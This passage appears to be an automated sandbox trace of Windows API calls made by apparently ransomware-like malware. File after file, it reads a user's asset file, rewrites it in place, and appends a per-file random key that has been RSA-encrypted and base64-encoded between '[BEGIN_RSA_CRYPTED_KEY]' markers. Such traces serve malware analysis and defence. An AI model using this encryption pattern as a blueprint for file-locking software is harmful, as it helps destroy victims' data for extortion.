"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8ed540f298095b3ee3fae7a015efa0a459f89d54468782a9e0285c66b9543b6c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0216.197] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=515722) returned 1 [0216.197] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x7de8a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x7de8a, lpOverlapped=0x0) returned 1 [0216.267] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-515722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.267] WriteFile (in: hFile=0x1840, lpBuffer=0x33ceea8*, nNumberOfBytesToWrite=0x7de8a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33ceea8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7de8a, lpOverlapped=0x0) returned 1 [0216.268] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7de8a [0216.269] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.269] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.269] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0216.269] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0216.269] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0216.269] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="Tk/XkHpwUuATrGNnW7s1Sa4P55H+PriuYzR/HY1O0piYJY+j1OzXaTEJuvnMVB0Y\npelPXbA4a8qm8HjBxjw/4NXyjcGO/IkDMhEPzhRm9LM6HFMm6+6JnyQF6uh23xrw\nIbnfim5OEub3VKNg3kxO+D/xiRIJW/0rfxc4xx5DP6QGZ2AV+TTT6zosCkkPqBiT\nH/LRMEcBnyGsNhH0C3MJixV4bXNcjUP+bz2lgps+8PO5lJ0P+4XXPOjPpuFoT+jh\n3Al39MXDjoM4Pzvrs9Pv/d7UbmxJwOeLynFmDuXjqm6FwYjdmUr17ik3SWaOCdrE\nmq+kg+RAvvYGhuz2LeizTQ==\n", pcchString=0x2e3f9a8) returned 1 [0216.269] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0216.269] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.269] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.270] CloseHandle (hObject=0x1840) returned 1 [0216.311] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0216.311] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8d3dd86f4cdf9dd6ff071805ce7268fddd3bca3fbf3dad39f696a06b2b18fbbc", dwFileAttributes=0x80) returned 1 [0216.312] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8d3dd86f4cdf9dd6ff071805ce7268fddd3bca3fbf3dad39f696a06b2b18fbbc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8d3dd86f4cdf9dd6ff071805ce7268fddd3bca3fbf3dad39f696a06b2b18fbbc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0216.312] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17523) returned 1 [0216.312] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4473, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4473, lpOverlapped=0x0) returned 1 [0216.390] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-17523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.390] WriteFile (in: hFile=0x1840, lpBuffer=0x2f394a0*, nNumberOfBytesToWrite=0x4473, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f394a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4473, lpOverlapped=0x0) returned 1 [0216.390] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4473 [0216.391] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.391] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.391] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0216.391] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0216.391] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0216.391] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="EzuDHJ8+uakUMWXwPZtNYQCd5kwzPKo4ove69eG5GMZdgmtXephl7hxGyCRYISKz\nHlz6SNfwi72fgPnC+mJFC4hVzzA+9Kz3th1P19N42QnaCGMarsYZsIEcszgVYk8C\nvGaKZ4M+Y6kUENEGlAUXoJB5tPR93UNACWeXpDqSLeOMWr0kSJTCETHY2vzM3kgF\nSmlb+joqrCqw0x+CRpyogsVHzktz608avB5gKjMlErolfhQZXxJnSwbqGB99+R+t\nNSyMWw6T92O02sGeE5uchi8Dua8YLEPei2H3WyAnrweqp35E1cd0O0ZqIL1OCgKl\nkYKcmJbCAps7FhuzuFUEpA==\n", pcchString=0x2e3f9a8) returned 1 [0216.391] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0216.391] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.391] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.391] CloseHandle (hObject=0x1840) returned 1 [0216.393] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0216.393] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\86937712610ad3a544a0ed3a30a694126358ce0c22ffcffc53c4862729ff98cc", dwFileAttributes=0x80) returned 1 [0216.394] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\86937712610ad3a544a0ed3a30a694126358ce0c22ffcffc53c4862729ff98cc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\86937712610ad3a544a0ed3a30a694126358ce0c22ffcffc53c4862729ff98cc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0216.394] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=831) returned 1 [0216.394] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x33f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x33f, lpOverlapped=0x0) returned 1 [0216.424] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.424] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x33f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x33f, lpOverlapped=0x0) returned 1 [0216.425] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x33f [0216.425] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.425] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.425] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0216.425] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0216.425] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0216.425] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="I1JTD2Rbwg6jCnYm/wG+2ULk8sKXzWzcQxh2t6mlJDklhhpJrFlP32ETjrZ8zVn2\nWKotTxHCzH6BzzHGaa9OVnrXaglnfvNQGAqK2ACBfhXg6ZJUU+dOYqD+oofuD16z\nMZR9i+N++UyGJIbxUx+iAxbuhneh7t3EkHDM6hnw4hdrArRGNCtt02n1OHQOC8YG\nPrIzVGl73OHn3XUi+159im6TyfBb0eSId62i6unpJlx28pkvWcNlvxDI0MY5KevX\nYXToQdr7iNY64qmyhhbmCnb0M3eSlq04zAyJ1oHlHNaCUWvagxeuKubm08LFHXdN\nHY4UNLSad1ajmsUGfdfuOg==\n", pcchString=0x2e3f9a8) returned 1 [0216.425] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0216.425] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.425] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.426] CloseHandle (hObject=0x1840) returned 1 [0216.427] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0216.427] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\846d7068b9c07676a449f584a8a3fcf65bb398e83dd83c0c0cdf4b9f02769006", dwFileAttributes=0x80) returned 1 [0216.697] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\846d7068b9c07676a449f584a8a3fcf65bb398e83dd83c0c0cdf4b9f02769006" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\846d7068b9c07676a449f584a8a3fcf65bb398e83dd83c0c0cdf4b9f02769006"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0216.697] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=454842) returned 1 [0216.697] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x6f0ba, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x6f0ba, lpOverlapped=0x0) returned 1 [0216.942] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-454842, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.942] WriteFile (in: hFile=0x1840, lpBuffer=0x33c00d8*, nNumberOfBytesToWrite=0x6f0ba, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33c00d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6f0ba, lpOverlapped=0x0) returned 1 [0216.943] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6f0ba [0216.943] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.943] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.943] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0216.943] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0216.943] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0216.944] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="d1kNzWDWfvSUTSYBPK5cOUFcmeOMRCIiaWTRE8KziH0Bh76yNz+Bmruc7vhEHvcM\nqCYjT5/y3bVzyHdOzA+SjoMzrpEG7cf2UdyXmzOuSoqpyQNp/2vvkPlrgWz6wD2v\n3S0fN8SxFNDCHA2zn9v/0In1TlJa5MF/eS03mM1b1XT08pXhbgT3P8wLwY49ETFx\neU90Vhn0UEduPYupxxfjfcersTR6lJaUe+UFdCjklIvp8cvXFGZ3XV0bcOSL+3N8\n5+jtQtYRDmiKL/pS+psuK0NsVCsLrdjnsfOTMqifSkX5pv40OgV9OY6Gy5/rA8DK\nC1vL1ScE4Euo/bmJbU8skA==\n", pcchString=0x2e3f9a8) returned 1 [0216.944] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0216.944] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.944] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.944] CloseHandle (hObject=0x1840) returned 1 [0216.948] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0216.948] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8149d76be8e0b23da9ee945142b67ad5fcad54874be8a82407cdfca97591d91f", dwFileAttributes=0x80) returned 1 [0216.948] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8149d76be8e0b23da9ee945142b67ad5fcad54874be8a82407cdfca97591d91f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\8149d76be8e0b23da9ee945142b67ad5fcad54874be8a82407cdfca97591d91f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0216.948] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1357357) returned 1 [0216.949] ReadFile (in: hFile=0x1840, lpBuffer=0x354c020, nNumberOfBytesToRead=0x14b62d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354c020*, lpNumberOfBytesRead=0x2e3f9b4*=0x14b62d, lpOverlapped=0x0) returned 1 [0217.146] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1357357, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.146] WriteFile (in: hFile=0x1840, lpBuffer=0x36a3020*, nNumberOfBytesToWrite=0x14b62d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x36a3020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14b62d, lpOverlapped=0x0) returned 1 [0217.152] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14b62d [0217.152] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0217.152] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0217.152] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0217.152] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0217.152] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0217.153] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="K2w6+t6hz9sK+xCmCbG75nRxP63luLjqib9LbH/CMaps3JSOjWm9eyuisNvrq43U\n7SjgIptRsN2M6ZmI+GVnfC/LEDI1z0EjkTXb2uiul4rYQ0XbC+xjrd+lzq40RNOz\n+KcQs1evrpcmnhxrZoykxk3fNtz7ri8Itrp4tXBSYXQnHJL8Hh4sizTiYmzNT0I8\nPvQMFNlgIY+Tf57x15sLR90okV9amQwFEZfArnlNeacC5399uY6MPx7PhFu8NP4H\nuw0lbguWejTxTqe+bA1bXOoKYh032DC/vRi0uUvlcTgyrvI8FedsPumBDDH5IU9i\ng2vhiYuxYNYVs7kJpbxkHA==\n", pcchString=0x2e3f9a8) returned 1 [0217.153] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0217.153] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0217.153] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0217.153] CloseHandle (hObject=0x1840) returned 1 [0217.155] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0217.155] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\78b619a60badaf2af10f512120ec3f3bb4e0b4989a18d553b73681ba6ba7eeb0", dwFileAttributes=0x80) returned 1 [0217.155] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\78b619a60badaf2af10f512120ec3f3bb4e0b4989a18d553b73681ba6ba7eeb0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\78b619a60badaf2af10f512120ec3f3bb4e0b4989a18d553b73681ba6ba7eeb0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0217.155] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=792820) returned 1 [0217.156] ReadFile (in: hFile=0x1840, lpBuffer=0x67f020, nNumberOfBytesToRead=0xc18f4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67f020*, lpNumberOfBytesRead=0x2e3f9b4*=0xc18f4, lpOverlapped=0x0) returned 1 [0218.385] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-792820, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0218.386] WriteFile (in: hFile=0x1840, lpBuffer=0x3542020*, nNumberOfBytesToWrite=0xc18f4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3542020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc18f4, lpOverlapped=0x0) returned 1 [0218.388] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc18f4 [0218.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.388] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0218.388] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0218.388] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0218.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0218.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="te9JpfARs4F9ULPqIJg5skbZDGNFKz/YaDj1gjHp+PjZNUrc3HGFX4LRcPtd9o+b\nhMXHBAnOjuRH/Yzwhw3gEEZmGjA/h6fOAUpbKi2NqS/z00pMEe9uDNSUILdbC/Nh\nspkQW8zTod8pqFsP0xnHIMGAwq+qDrqkAYfZGcXyEkaH9Fmenu2cTdwmTder6CK9\nUCOhaiwcky6VkPPDb2GPEajsHb4zyVXaFwxuZqiDGYM+5kxxTEJHxkrZs53Lchen\ncnol5zNj3S3Uov52a3oZsv8lqg6HpgM33gHXtErSnK+wRCsWh1p0Ov/gIB9jDsj1\ntBRZYM/zX7OSadAHl4gdeA==\n", pcchString=0x2e3f9a8) returned 1 [0218.388] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0218.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0218.388] WriteFile (in: hFile=0x1840, 